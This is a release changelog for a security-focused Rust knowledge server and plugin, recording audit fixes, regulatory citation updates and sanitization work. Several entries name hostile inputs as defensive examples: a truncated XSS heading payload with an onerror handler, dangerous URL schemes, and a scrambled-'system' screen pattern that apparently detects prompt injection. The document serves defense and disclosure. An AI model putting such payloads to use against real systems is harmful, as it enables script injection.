  • M1 (S7-06) — the bounded cache. tools/signal-gateway/src/cache.rs: RECIPIENT_CACHE_CAP = 4096 (the replay-cache convention) + an insertion-order VecDeque; at the cap the oldest quarter drains from BOTH legs together (phone→uuid and uuid→phone are 1:1 by construction). TTL stays lazy on the forward leg only, as before. The “LRU” label is gone: the structure is insertion-ordered with cap+quarter-evict, and the doc comment says so. signal_gateway_cache_is_bounded RED→GREEN (red: “cache grew to 4608 entries — unbounded”). Ceilings (honest): the LIVE twin — signal/worker.rs:31’s RecipientCache, the map the API and worker insert paths actually hit — is also unbounded and was LEFT AS-IS: signal-gateway is a standalone crate the operator does not deploy, and per the operator call 2026-09-14 no CI lane was added for it (the pin runs locally only). Bounding the live twin is a five-line follow-up for whoever next ships the crate.
  • M2 (S7-07) — serde_yaml out, by deletion. The harness-kernel feature’s only serde_yaml consumer was loader.rs (the declarative plugin-mount manifest parser): ZERO callers across the workspace and zero doc references (the cordis.yml in docs/mcp.md is the MCP client config, unrelated). The ponytail ladder call is DROP — a hand-rolled YAML-subset parser for dead code would be a new parsing hazard, not a fix. serde (derive) had no other user in the feature either, so harness-kernel = ["dep:serde_json"] now; serde_json stays (workflow_state.rs). serde_yaml + unsafe-libyaml are out of Cargo.lock, crates/Cargo.lock, AND tools/steward-harness/Cargo.lock (the third lock surfaced at release time — steward-harness path-depends on the SDK with the kernel feature; found dirty at the final gate, diff verified to be exactly this closure shrink). SDK semver note: the crate’s own doc calls a public-item removal a breaking release; the crate is publish = false, workspace-only, and no in-tree engine consumes the loader — removal recorded here instead of a version ceremony.
  • M3 (S7-08/S7-09) — plugin uniformity, 0.6.10. team-bridge.ts:451’s catch now wraps String(err) in sanitizeForBlock (the sibling discipline at the card-ensure and pause catches); the C0/DEL-collapse regex moves to escaped \u0000-\u001F\u007F form (format.ts’s style) — the file no longer classifies as binary and grep-based guards see it. Shipped as plugin 0.6.10 (CHANGELOG entry in plugin/CHANGELOG.md); the fork receives it via the M5 sync — zero hand edits to openclaw code.
  • M4 (S7-10/S7-11) — the gate in the system. release.yml: a pre-publish step in the release job queries the ci.yml run conclusion for the tagged SHA (gh api .../actions/runs?head_sha=) — wait windows mirror release.sh (≤10 min registration, ≤60 min completion); red OR absent ⇒ refuse publish with a ::error::. Workflow-level permissions: contents: write → contents: read; the release job carries the only contents: write; docs-deploy keeps its existing scoped block; the four build jobs are read-only now. The normal release.sh path already waited for green before tagging, so the step finds a completed run instantly there; it exists for the git tag && git push --tags bypass.
  • M5 (K7-03) — the sync script is the fork’s writer. scripts/sync-plugin.sh gains: (1) the fork-field patch table — after rsync, declared fork-side fields are rewritten from the fork’s own truth (typebox specifier ← the pnpm-workspace catalog), line-targeted so the rest of the manifest stays byte-identical; (2) the manifest==lockfile post-check, fail-closed on absent/mismatch (RED demonstrated live pre-fix: manifest 1.3.26 vs lock 1.3.27; GREEN post-patch); (3) package.json joins the declared-exception list with the delta verified typebox-lines-only. Re-run sync: the manifest mechanically returned to 1.3.27 and the lockfile is BYTE-UNTOUCHED (it already recorded 1.3.27 — the manifest moved to meet it, stronger than the plan’s “regenerate the lockfile”). Fork acceptance: pnpm install --frozen-lockfile passes (the K7-03 acceptance test), fork vitest 71/71, fork tsc clean; fork commit 58767515d46 = sync outputs only (package.json, team-bridge.ts, plugin CHANGELOG).
  • Pins: signal_gateway_cache_is_bounded (RED→GREEN); extension_manifest_matches_lock_specifier lives in the sync script as the post-check — NOT a cargo test, so it does not ride the crate floor (per plan §4, said so here). Floor walk: 1,455 needle-visible #[test], UNCHANGED — the cache pin rides tools/signal-gateway (a standalone crate outside the floor needle’s server src/+tests/ walk), and the manifest pin is bash. No floor movement to claim.
  • Remaining open (correcting the plan’s §7 claim): S7-05 (env-truth.sh implemented() bare-substring match) was NOT in this release’s scope and stays open — the last actionable seventh-pass LOW; it rides the next hygiene line or L8. S7-12 was a verified-good confirmation (no action). P7-01 stays the accepted wasm-seam-day ceiling; L7-07 carries to L8; K7-01/02/04 remain accepted risk (operator call 2026-09-13).
  • No schema; no routes; openapi.yaml untouched; x-api-version moves with the crate version stamp (informational; the wire contract delta this release: none). Proof commits: 905bb47 (M1), a0e7ab0 (M2), e5b3376 (M3), b711ebc (M4), 4fd9069 (M5 script); fork 58767515d46.

[Unreleased] — docs-truth correction (v1.28.87 plan, no code)

Correction note (append-only; history not rewritten): the v1.28.79 headline carried a “zero” verdict on the gap ledger. That overstated: the release body itself lists 4 residuals with Loop-line owners, and the fourth-pass audit qualifies P4-01 the same way. The headline now reads “gap ledger balanced (4 known residuals with owners)”. “Balanced” means no UNOWNED gaps — not “drift-impossible”. Residual table:

#Residual (from v1.28.79 body)Owner line
1DNS-rebind of the pinned hostLoop (accepted-risk disclosure, v1.28.79)
2First-use tool flaggingLoop (accepted-risk disclosure, v1.28.79)
3Shim tenancyLoop (accepted-risk disclosure, v1.28.79)
4Writable pins fileLoop (accepted-risk disclosure, v1.28.79)

grep -rn "gap ledger zer[o]" CHANGELOG.md docs/ must return zero hits; scripts/env-truth.sh and scripts/badges.sh --selfcheck are the standing docs-as-tests gates (see docs/release-checklist.md).

[1.28.88] — 2026-09-14 — “Clocktruth”: seventh-pass closures, release 3 of 4

Closes the claims-lane and regulatory-lane findings from the seventh-pass security audit (register rows in AUDIT.md; finding IDs in the Engineering record below). Theme: clocks, labels, and guards at law — the one legally-wrong clock in the repo, the guard that couldn’t see two subdirectories, and the docs rows that outlived their debunkings. Zero wire change; zero route change; no schema.

Release notes

Security fixes

  • The CRA reporting runbook’s final-report clock was legally wrong for one of its two triggers: it carried “no later than one month after the 72 h notification” for BOTH. The regulation splits the triggers: a final report for an actively exploited VULNERABILITY is due no later than 14 days after a corrective or mitigating measure is available (the clock anchors on the fix, not the notification); one month after the incident notification binds the severe-INCIDENT trigger only. The runbook now carries both clocks with their trigger labels, the CSIRT framing matches the regulation (one submission via the single reporting platform reaches the CSIRT designated as coordinator for the manufacturer’s main establishment + ENISA simultaneously — not “the deployment’s member state”), and a new reg_watch pin anchors the 14-day wording so the runbook cannot silently regress to the one-clock form. Citations re-verified 2026-09-14 against the EUR-Lex full text and the Commission’s CRA reporting page.
  • The regulatory calendar’s article citations moved to final-OJ numbering: the CRA two-trigger schedules sit at Art 14(1)–(2)/(3)–(4) with the severe-incident definition at 14(5), and the reporting obligations apply from 11 September 2026 per Art 71(2) (the pre-OJ cites named 14(1)/(4)/(6) and Art 69(2)). The AI Act 2026-12-02 marking horizon now cites the amending regulation itself — Regulation (EU) 2026/1744 (OJ L 24.7.2026; the pre-1.28.88 comment cited Commission guidelines as the legal basis) — and stamps the Annex III (2027-12-02) / Annex I (2028-08-02) deployer horizons from the same instrument.
  • The transport-free layer guard (production code under src/service/ must never name HTTP/pool types) walked only the TOP LEVEL of the service tree — the four files under src/service/dsar/ and src/service/lifecycle/ were invisible to it. It reuses the recursive walker the no-SQL guard already had, and a new pin counts the subdirectory files it must see. Red-proof: a planted violation in lifecycle/ passed the old guard and fails the new one (the plant never landed).
  • Security-docs staleness re-stamped: the revocation rows in the threat model and risk register described a “≤60s negative cache” that does not exist (revocation is a per-request registry lookup since v1.28.85 — zero staleness; the residual is registry unavailability, which fails closed). The threat model + security policy stamps moved to this release and both files now carry a self-declaring stamp policy. The verify-JSON row is scoped honestly: verification is the consumer’s out-of-band act; the server-side pin enforcement lives at parcels import only.
  • The committed SBOM moves from CycloneDX specVersion 1.3 to 1.5 — the highest the generator supports (cargo-cyclonedx 0.5.9 emits 1.3/1.4/1.5 only; it reads no config file, so the pin lives in scripts/sbom.sh as a CLI flag). 1.6/1.7 are a one-line bump when the upstream tool ships them. Scope disclosure unchanged (runtime closure, 375 components).
  • A new crypto-inventory census closes the rot direction the inventory’s hardcoded name-list could not: a NEWLY shipped crypto-family dependency (anything matching the sha/hmac/aes/rsa/dsa/ed25519/ecdsa/argon/blake/ … family names) now fails CI until it is mapped to a docs/crypto-inventory.md row in the same change.

Improvements

  • The CRA drill script’s emitted template and timing report carry both final-report clocks with their article cites (the drill’s vulnerability scenario previously printed the one-month clock); the incident trigger’s deadline stays computed, the vulnerability trigger’s is carried as a fix-anchored formula (the fix date is unknowable at awareness time).
  • The US state map gains the missing 2026-09-10 California package (SB 1119 “Adam’s Law” companion-chatbot child safety + companions) and a companion-chatbot family row (GA SB 540, OR SB 1546 — the family is now multi-state); the federal TAKE IT DOWN row’s two dates are un-inverted (criminal §2 from enactment 2025-05-19; FTC §3 enforcement live 2026-05-19); status refreshed to 2026-09-14. NIST AI RMF carries a mid-revision footnote (input window closes 2026-09-16).

Bug fixes

  • The screen’s typoglycemia tier docstrings named an example the mechanism mathematically cannot match (“systme” changes the last character vs “system”; the tier requires equal first AND last characters). Examples corrected to same-first/last scrambles (“sysetm”) and the boundary is now pinned by a negative assertion. No behavior change — docstring + test fixture level only.

Engineering record

  • M1 (L7-01) — the clock split. Runbook: the Final report section now states both triggers with their anchors (vuln: 14 days after the corrective/mitigating measure is available, Art 14(2)(c); incident: one month after the incident notification, Art 14(4)(c); severe definition 14(5)); the “three clocks run from awareness” preamble is corrected (the final report’s clock does not); the channel table names the single reporting platform → coordinator CSIRT (main establishment, Art 14(1)/ 14(7) fallback chain) + ENISA simultaneously; the downstream-deployers row notes that fix availability also starts the 14-day clock. reg_watch.rs: CRA doc comment carries the final-OJ structure + Art 71(2) + the re-verification date; the AI Act horizon cites Regulation (EU) 2026/1744 (adopted 8 Jul 2026, OJ L 24.7.2026, in force 27 Jul 2026; EP approval 16 Jun / Council 29 Jun) with recital 38 (four-month transitional period) and recital 40 (Annex III → 2027-12-02, Annex I → 2028-08-02) — the plan’s fallback citation (“EP approval + watch row”) was NOT needed: the OJ number confirmed. Drill script: template + timing report carry both clocks (DUE_FINAL split into the incident date and the fix-anchored vulnerability formula).
  • M2 (R7-09) — the recursive walk. collect_service_rs_files extracted and made recursive (the no_sql_in_handlers_enforced idiom); the guard’s production-region split and message unchanged. transport_free_guard_walks_recursively counts subdirectory files ≥ 4 (the plan’s draft said “≥ 5”; the walk-measured truth is 4 — dsar/sweep.rs + lifecycle/{decay,fetch,purge}.rs — the floor is set to the tree’s truth, unforwardable padding declined). Red-proofs: (1) against the old top-level collector the coverage pin FAILED at 0 subdirectory files; (2) with the fix, a planted use axum:: in lifecycle/ FAILED the guard naming the file (plant never landed); (3) the census direction was red-proofed the same way with a planted p256 dependency (below).
  • M3 — the docs-truth batch. T7-02: the tamper-evidence scope sentence (chain + UMP evidence rows; business rows behind the chain = the host-compromise ceiling) in the threat model’s §4 item 2b. T7-03: three THREAT_MODEL rows + risk-register R-14 re-stamped to per-request/zero- staleness (R-06 carried the same dead “≤60s” cell — fixed in the same stroke); residual reworded to registry-unavailability-fails-closed. T7-04: chose the census over the comment-softening (~15-line budget; the census is the class-closing direction): crypto_inventory_census_maps_ every_crypto_crate — a closed 8-row crate→inventory mapping (every row must still be a real dependency AND still inventoried) + a crypto-family heuristic over [dependencies] (a matching unmapped crate fails with a ship-the-row-in-the-same-change message). Red-proof: planted p256 → FAIL naming the crate; removed → green. T7-05: THREAT_MODEL + SECURITY stamps moved to this release; both files gained the standing “stamp moves in the same commit as the claim it covers” policy line. T7-06: the verify-JSON row gains the out-of-band-act scope sentence (the zero-production-call-sites finding). R7-10: docstring fix per the plan’s default (the tier is an additive tripwire; widening changes verdicts and needs its own evaluation — not done): “systme” → “sysetm” at both docstrings, the test fixture aligned, and a negative assertion pins the first/last-char boundary. R7-11: scope disclosure at both sites (the THREAT_MODEL standing-ceilings bullet + the chunker’s byte-split arm comment); the tag-aware split was NOT taken (it changes chunk shapes and needs its own evaluation). L7-02/L7-03/L7-06: map rows as in the Release notes; the COMPLIANCE AI Act row also gained the 2026/1744 recital-40 deployer horizons (the docs half of L7-04).
  • M4 (L7-05) — the SBOM spec, honestly. The plan’s target (spec 1.7) is unreachable with the current toolchain: cargo-cyclonedx 0.5.9 is the latest published crate, its --spec-version tops at 1.5, and (found during execution) it reads NO config file — env/CLI only (verified in its source; the .cargo/cyclonedx.toml route the plan guessed does not exist). Shipped: --spec-version 1.5 pinned in scripts/sbom.sh with the ceiling comment; sbom/brain-server-1.28.88.cdx.json regenerated (specVersion 1.5, 375 components — the runtime-closure scope disclosure is unchanged); the tool upgrade path is a one-flag bump. No consumer of the specVersion string exists in the repo (grepped) — nothing else moved.
  • Pins: reg_watch_runbook_clock_anchor (RED→GREEN: failed on the missing 14-day clock, green on the split runbook) + transport_free_guard_walks_recursively (RED→GREEN: 0 subdirectory files → ≥4) + crypto_inventory_census_maps_every_crypto_crate (green on arrival, red-proofed by plant). typoglycemia_scramble_caught extended with the boundary assertion. Floor walk: 1,455 needle-visible #[test] (1,452 → 1,455; the three new pins all ride plain #[test]).
  • Citations re-verified at execution date (2026-09-14): CRA Art 14 paragraph structure + clocks (EUR-Lex full text + the Commission reporting page + the Art 14 mirror); Art 71(2) application date; Regulation (EU) 2026/1744 OJ number + recitals 38/40; TIDA §2/§3 dates; SB 1119 (signed 2026-09-10), GA SB 540 (eff 2027-07-01), OR SB 1546 (signed 2026-03-31), CycloneDX current-spec status. The runbook’s “verified YYYY-MM-DD” line and the reg_watch doc comments carry the fresh date.
  • No schema; no routes; openapi.yaml untouched; x-api-version unchanged (no wire contract move — it stamps from the crate version at compile time, which moved as part of the release itself). Ceilings (honest): SBOM spec 1.5 is the tool ceiling (1.6/1.7 await upstream); transport_free_guard scans text, not AST (cfg(test)-region exemption is a split heuristic, unchanged); the census’s family heuristic can be evaded by an innocuously-named crypto crate (closed names fail, stealth names are the supply-chain lane’s problem, not the inventory’s); the US map’s SB 1119 operative dates are marked verify-with-counsel (the bill’s effective-date section was not re-verified against primary text this pass).

[1.28.87] — 2026-09-14 — “Ownerstamp”: seventh-pass closures, release 2 of 4

Closes the four LOW/INFO surface findings from the seventh-pass security audit (register rows in AUDIT.md; finding IDs in the Engineering record below). Theme: the seams’ last mile — the DSAR root semantics question, the one roster that attested a seam it lacked, the admin-evidence surfaces the unconditional read-seam law hadn’t reached, and the site-table guard hardened to read code, not prose.

Release notes

Security fixes

  • DSAR roots now cover operator-authored ingests. Every content write carries an owner stamp: the acting principal’s sub, or the fixed loopback label when no principal resolved (opaque-token superuser). The locate query keys on knowledge.owner, so a purge/export for the operator subject now finds the operator’s own ingests (live drill: the seventh-pass probe that found 0 roots now finds the row). Write-side only — historical rows keep their NULL owner and stay stamp-blind by declaration (dated; no migration, no OR-arm sweep: a legacy arm would mis-attribute every NULL-owner row in multi-principal trees). Residual disclosed: suggest_feedback keeps the principal-sub-or-NULL shape (the sweep’s feedback arm is unchanged).
  • The /ops/crew roster and the /ops/skills feed emit their stored strings through the read seam: principal/current_case_ref were already invisible-stripped at the roster core; roles, skills, and the Watchbill site now ride sanitize_read too. The skills view’s “same posture as the roster view” comment is true now.
  • Admin-evidence surfaces ride the seam: breach list/detail (narrative, event bodies, noted_by), transfer TIA/DPA pre-fills, role + profile descriptions, and the /audit listing (the actor sub is the row’s one non-hash string) pass a deep string-leaf composition of sanitize_read at the emission boundary. No digest impact — none of these fields bind review_digest. Idempotent on clean content.
  • The read-seam wiring guard reads code, not prose: the site table’s handler_body extractor comment-strips sources (string-aware: line, block, and doc comments; "…" strings with escapes; the '"' char literal; r#"…"# raw strings) before the substring assert, closing the comment-naming-the-symbol false pass. The same-commit site-table row is now a release-checklist standing rule.

Bug fixes

  • None. (The roster gap was attestation drift on two of five fields — the fix widens an existing strip, it changes no valid output.)

Improvements

  • None user-visible. The hardening is byte-identical on clean content (the seam’s fast path).

Engineering record

  • M1 (F7-02) — stamp decision: (a) stamping, not documentation. The product-honest default per the plan: owner becomes a total attribution ledger. One helper (content_owner_stamp, beside principal_to_owner) + the fixed LOOPBACK_OPERATOR_OWNER label; five write edges swapped (/add, /ingest, /ingest/markdown, structured /ingest, the approve promotion insert — proposal creation stamps the candidate the approver later promotes). Deliberately NOT swapped: store_procedure’s owner feeds the audit actor only (procedure rows carry no owner column — schema-level gap beyond this release’s no-schema scope), and the QA-scoping owner on /ingest/proposal keeps its declared legacy default (proposals are not DSAR-locate targets). UMP owner uses are redaction decisions — stamping there would have let a principal-less request claim rows.
  • M2 (F7-05) — the strip lands at the handler emission map (both crew views), the roster core’s narrower invisible pass stays as defense in depth. Red-first proof: the first pin attempt planted only principal/current_case_ref and PASSED (the core already strips them) — the shipped pin plants hostile roles_json, a principal_skills skill, and a hostile site shift so the guard has teeth against the actual gap.
  • M3 (F7-06) — one sweep, one helper (sanitize_value_strings in handlers/mod.rs), nine emission sites. The deep pass shapes string VALUES only; keys are server-defined. Static TIA prompt text verified seam-clean (no markdown-ref/tag constructs) before shipping.
  • M4 (F7-07) — handler_body returns an owned, comment-stripped body; every consuming guard (authz-gate coverage, screen routing, read-seam table, audit-order) inherits the hardening. Red-proof pin covers the comment false-pass, the honest call site, and the raw-string/char-literal lexing hazards. The extractor’s residual ceiling (heuristic lexer, not a parser) is stated in its own doc comment.
  • Pins: dsar_roots_cover_operator_ingests_or_documented (RED→GREEN), crew_roster_strings_pass_the_seam (RED→GREEN), admin_evidence_surfaces_pass_the_seam (RED→GREEN), handler_body_ignores_comments_naming_the_symbol, content_owner_stamp_always_attributes. Site table +12 rows (both crew views; the helper; four breach/transfer pairs… breach list+detail, TIA+DPA, roles list+get, profiles list+get, /audit) — every row verified against real sources through the hardened extractor. Floor walk: 1,452 needle-visible #[test] (1,450 → 1,452; the three surface pins ride #[tokio::test], which the spire needle does not count — same walk-measured-truth rule as .86).
  • Live drill (fresh DB, test port, opaque mode): the F7-02 probe (markdown ingest → /dsar export for loopback → the operator’s own row in the bundle) + planted-invisible checks on the roster and breach surfaces; live DB hash-verified untouched.
  • No schema; no routes; openapi.yaml untouched; x-api-version unchanged (no wire contract move — the hardening is content-level at existing surfaces). Ceilings (honest): historical rows stay stamp-blind; suggest_feedback owner shape unchanged; procedure rows carry no owner column at all (schema-level, beyond the no-schema scope); the site table remains a regression lock, not a detector (the checklist rule is process, not code).

[1.28.86] — 2026-09-13 — “Attrbane”: seventh-pass closures, release 1 of 4

Covers every commit from tag v1.28.85 (884ee17) to this release — git log v1.28.85..v1.28.86 reproduces the range, and every bullet below names its proof commit. The seventh-pass audit’s first remediation release: the read seam’s attribute tier, the graph family on the seam with a decline-and-count write edge, in-tx evidence for every caller-content write, and the plugin’s dormant defenses wired (0.6.9). Digest invalidation (expected, disclosed): stored rows whose text contains a newly-stripped attribute move their review_digest — outstanding approvals for such rows fail closed with 409 at approve time and must be re-reviewed (observed live in the release drill: 409 on the pre-upgrade digest, 200 after re-approval). Additive wire only (edges_skipped); no schema; no routes; no new dependencies.

Release notes

Security fixes

  • Event-handler attributes and dangerous URL schemes no longer survive the read seam (proof 713748a). Event-handler attributes (onclick, onpointerover, …) and dangerous URI schemes (javascript:/vbscript:/data:, including mixed-case, entity-encoded, and whitespace-split forms) on SURVIVING elements no longer pass sanitize_read verbatim — the drill demonstrated all five classes riding raw on v1.28.85 recall output. The tier is scheme-hostile, not attribute-hostile: benign http(s) hrefs and prose angle brackets survive byte-identically, a dropped attribute never synthesizes prose, and the weld family’s pinned behavior is unchanged.
  • The graph surfaces are no longer a raw read seam, and a hostile heading can no longer become graph structure (proof 0d797ba). /graph/entity, /graph/relations, /graph/traverse, and /graph/relationships/{id}/history emitted stored entity names and relation types raw; markdown ingest made those names attacker-writable (a ## <img src=x onerror=…> heading became a graph entity). Every emitted string field now passes the read seam, and the markdown write edge DECLINES non-conforming names: the ingest stays 200, the skipped edges are counted in the response’s new edges_skipped field (plus one audit note), and no entity row is created. The structured path 400s on an entity_type outside [a-z0-9_-] (explicit API contract; values are lowercased first, so existing “Person”-style types become “person”).
  • Every caller-content write carries its evidence row, inside the write’s own transaction (proof 48fef68). POST /procedure stored caller content with no audit row; structured /ingest audited only graph edges; /add and /ingest/markdown recorded their audit AFTER the commit (the crash window the audit-per-write law closed). All three holes closed: a procedure audit kind on the hash chain, a row audit beside the edge audits, and both legacy recordings moved inside their transactions.
  • The plugin’s dormant defenses are wired (plugin 0.6.9; proof 15a7c99 + e2cc810, fork 5b64e7a). The hostile-element mirror (exported since 0.6.8, never called) is now invoked inside sanitizeForBlock at the server-canonical position; the raw proposal rows, graph-traverse paths, decision-evaluate rule text, and label fields no longer bypass the per-field boundary (the capture-trigger sourcePrompt is dropped from proposal details entirely — counts, not bodies).
  • The plugin-sync guard passes on its own live pair and still fails real drift (proof 8830209). sync-plugin.sh’s post-sync check is now the declared-exception form (a named exception with a verified reason), and the sanctioned format.test.ts delta was eliminated canonical-side by adopting the fork’s import order — the check passes on the live pair and still fails real drift.

Bug fixes

  • None.

Improvements

  • Markdown ingest responses carry edges_skipped so declined graph edges are visible to callers (proof 0d797ba).
  • Docs truth: THREAT_MODEL’s hostile-markup row and architecture.md’s read-seam sentence state the attribute tier, and the seventh-pass register’s closed findings are recorded in AUDIT.md (proof 5145f4b).

Engineering record

  • Range: 10 commits on main (713748a M1 attribute tier, 0d797ba M2 graph seam, 48fef68 M3 audit law, 15a7c99/7bcbecb/8830209/e2cc810 M4 plugin wiring incl. the sync-script-mandated oxfmt pass and the S7-04 delta elimination, this commit M5) + fork commit 5b64e7a (sync 0.6.9, vitest 71/71, tsc clean, byte-parity verified). M4 is 4 commits, not 1: the sync script refuses to ride an uncommitted format pass, and the typebox-class import-order alignment eliminated the declared delta.
  • Red-first pins (all failed against their pre-fix trees): the drill canary family survived sanitize_read verbatim; the hostile heading emitted raw through /graph/traverse; the procedure write carried zero audit rows; the source-order lock proved both legacy handlers recorded after tx.commit(); the plugin img canary survived sanitizeForBlock verbatim; the tools-lane pin rode the raw proposal row against the 0.6.8 fork.
  • In-tx rollback proof: a trigger poison on the second step’s edge insert aborts the procedure tx and the audit row rolls back WITH the chunks (procedure_writes_carry_in_tx_audit’s twin, in-suite — a live server tx cannot be poisoned externally, disclosed honestly).
  • Live drill (fresh DB /tmp/brain-attrbane/brain.db, port 18766, Twokeys token file, copies-only; live DB hash verified unchanged): canary rows raw on the 1.28.85 binary → attribute-free on 1.28.86; pre-M1 approval → 409 conflict → re-review 200; hostile-heading ingest 200 edges_skipped:2, zero hostile entity rows, traverse clean; procedure write → procedure audit row on the chain; /ump/audit/verify ok:true (6/6 signed).
  • Gates: full cargo test --features bench,migrate green per milestone; clippy -D warnings bench + fmt clean; plugin vitest 62/62; floor walked at this commit: 1,450 crate #[test] pins (1,448 + 2; the plan’s +6 are real but four ride #[tokio::test], which the spire needle does not count — CRATE_TEST_FLOOR set to the walk-measured 1,450).
  • Ceilings (honest): the plugin mirror is the ELEMENT backstop — the attribute tier remains the server seam’s job (recall hits arrive pre-sanitized; the mirror covers fields the server does not own); style="url(javascript:)" and CSS-class vectors stay out of scope (style is a stripped element on every other path; inline style attributes on surviving elements are the documented bare-URL-class ceiling); the entity_type lowercasing changes stored values on the structured path (disclosed above); DSAR purge of digest-moved proposals is unnecessary (proposals re-review, they do not re-bind old bytes).

[1.28.85] — 2026-09-13 — “SixthPass”: sixth-pass closures

Covers the sixth-pass audit’s two findings, closed red-first — git log v1.28.84..v1.28.85 reproduces the range, and every bullet below names its proof commit. No schema; no routes; no wire change; no new dependencies.

Release notes

Security fixes

  • Forget erasure audit rows carry the Forget kind (proof 2a40aa4). The chunk-forget path wrote its in-tx evidence row as kind ingest, so kind-filtered audit consumers missed erasures. Both rows (the erasure itself and the per-proposal scrub row) now write kind forget. Historical ingest-kind forget rows keep their meaning; new rows are labeled what they are.
  • The deployed fork extension carries the hostile-element mirror (proof ace4f986 in the openclaw fork). The server’s 26-element strip, the MathML fallbacks, and the fixture lane were missing from the fork extension (last sync 0.6.0). Synced to plugin 0.6.7; byte-parity verified, 70 extension tests green, typecheck clean.

Bug fixes

  • None.

Improvements

  • Stale forward-plan files marked superseded: their contents had already shipped inside earlier releases without consuming those numbers, and the release queue now names the real head (proof cf380eb).

Engineering record

  • Range: sixth-pass audit on v1.28.84 found 2 findings (G6-01 MED, G6-02 LOW); both closed red-first (forget-kind pins failed pre-fix, green post-fix; fork diff empty post-sync). Commits: 2a40aa4 (Forget kind), ace4f986 (fork sync, fork repo), 023e89a (oxfmt churn from the sync pass).
  • Live drill (fresh DB, test port, Twokeys): 26-element strips held incl. opaque math/style; revoke-unknown returns 200 known:false + warning (A5-01 availability-first holds); kill-switch 401 live; forget response carries retained_proposal_copies + scrubbed_count; webhook-without-secret refuses boot; live DB untouched.
  • Ceilings: full cargo test gate per the T5-01 law; client rendering leg code-shape only; webhook-gate bind ordering flagged INFO (verify config gate precedes listen).

[1.28.84] — 2026-09-13 — “Quarterly”: security fix release

Covers every commit from tag v1.28.83 (9f1180e) to this release — git log v1.28.83..v1.28.84 reproduces the range, and every bullet below names its proof commit. The fifth-pass audit’s remediation track, plus the docs-truth pass. No schema; no routes; the /ready probe response changes shape (text/plain → JSON object, openapi updated in-commit — load-balancer probes reading the body must read status instead of the raw text); x-api-version unchanged.

Release notes

Security fixes

  • Revoked principals can no longer hold a live SSE stream (proof 60c344c). Both SSE endpoints ran their authorization check once at subscribe time — a principal revoked mid-stream kept receiving events until the connection dropped. A single guarded pump loop (sse_reauth) re-consults the revocation registry every BRAIN_SSE_REAUTH_SECS (default 30; fail-closed on parse), kills the stream with a {revoked:true} frame, and the reconnect gets 403. Setting =0 restores the old admission-only behavior, pinned. The default is ON — operators who need the old cadence must opt out loudly.
  • Alert/DSAR webhooks are signed by default (proof 60c344c). When a webhook sink is configured, the server now signs every send (HMAC-SHA256 over the raw body, constant-time compare on the receiver side) and REFUSES BOOT with a URL but no secret — an unsigned exfil channel can no longer be configured by omission. =0 disables loudly and the posture is surfaced at /ready; the DSAR/Art-19 path has no opt-out. Receivers verify against the existing audit-key convention.
  • The read seam strips the complete hostile-element set (proof 2567d84). The element strip grew from the .72 set to 26 elements — math and style now opaque-strip (tag AND inner content; a demonstrated math inner-content leak was the red-first proof), with details, body, button, select, marquee, dialog, animate, picture, noscript added plus 30 MathML child fallbacks. Storage stays verbatim; review_digest moves only for rows that carried the newly-stripped markup (re-review required at approve, same digest-invalidation discipline as the .76 fixed-point change).
  • Embedder saturation is measured, not guessed (proof 935d215, design track). The static embedder path gains a std-only saturation gauge (SatGauge/SatGuard; contention measured 8×50ms) so the serialized-inference cost class that pinned all screened writes in .76 is now visible in-process instead of discovered under load.

Improvements

  • Newer-schema databases refuse to open (proof 935d215). The boot gate now refuses to open a database written by a NEWER schema (was: undefined behavior on unknown columns), with a migrate-rehearse parity check (55 tables) proving the refusal matches the rehearsal path.
  • Honest-by-construction docs gates (proof 89a6233, docs/scripts only — zero code paths). The README UMP badge derives from the CI conformance gate (loud degrade to “self-attested” when the gate is absent); the tests badge carries a count disclaimer with the log hash; the gap ledger reads “balanced (4 known residuals with owners)” — balanced, not zero, per the append-only correction note; and scripts/env-truth.sh stands as the docs-vs-code env-var gate. The release checklist gains the SBOM scope disclosure per CISA-2026 (runtime closure, NOT the whole dev+build tree — 375 vs 520 packages at .83), the 8-route intentional OpenAPI exclusion table, and the 7-route well-known wiring table.
  • Error taxonomy as a test (proof 935d215). A 25-row error taxonomy with operator-safe Display impls is pinned by tests/error_taxonomy.rs — error strings an operator sees can no longer leak internals by drift; tests/singularity_pins.rs adds 7 pins over the singular invariants (revocation-cache statelessness — the “60s staleness” claim debunked, zero staleness by construction — included).

Engineering record

  • Range: 5 remediation commits, v1.28.83..v1.28.84 (7d63f32, 2567d84, 60c344c, 935d215, 89a6233), plus the release-line commits: the release prep (4e20302 — version bump, SBOM artifact, README badges, and the gate repairs it carried: the env-mutation test helpers route through the existing set_or_remove_env after lipstyk flagged four verbose-match matches on the webhook/SSE lane, and the client vendored arrays were rustfmt’d) and the CI client-gate fix (strip_hostile_elements + the two vendored tables carry the house allow(dead_code) reservation — the mirror’s non-test caller is the wasm read seam, still pending; CI clippy -D warnings caught the dead code the local client-gate skip let through — the v1.28.31 lesson again). Red-first discipline held: the hostile-element and SSE-kill/signing tests failed pre-fix and green post-fix (14/14 on the signing lane).
  • CodeQL hard-coded-key alert #73 cleared (proof 7d63f32). The wrong-secret leg of the bridge signature constant-time pin used a literal test key; the same generated-key fix as the Vigil set (testkeys::unit_hmac_key) replaces it. Test-only — no shipped behavior change.
  • The four fixture lanes for the hostile-element set (server scan vs plugin/fixtures/hostile-elements.json, plugin vitest 61/61, client vendored strip, fork host fixture) close the R-01 drift class: no tree can widen or narrow its strip alone.
  • Validation: full cargo test green at the release commit; clippy -D warnings clean (bench/migrate, default, otel); fmt clean; engine-crates + steward-harness green; badges --selfcheck clean. CRATE_TEST_FLOOR 1,418 → 1,448 (walk-measured).
  • Ceilings (honest): the SSE re-auth interval is polling, not push-reactive — a revocation lands within BRAIN_SSE_REAUTH_SECS, not instantly; =0 is a supported posture, not a hidden default. Webhook signing covers the two env sinks; the hostcall HTTP path keeps its allowlist (loopback mediation, unchanged since .69). The saturation gauge observes the static embedder; the neural backends’ serialization remains mutex-observed only. The /ready shape change is the release’s only wire-visible delta and is additive JSON — but consumers scraping the plain-text body must migrate.

[1.28.83] — 2026-09-12 — “Recall”: security fix release

Covers every commit from tag v1.28.82 (1fa1b77) to this release — git log v1.28.82..v1.28.83 reproduces the range, and every bullet below names its proof commit. Nine audit-round commits landed after the v1.28.82 tag and were never tagged, so they ship here alongside the six follow-up fix commits; the openclaw-fork companion ships in that repo. No schema; no routes; wire additive only; x-api-version unchanged.

Release notes

Security fixes

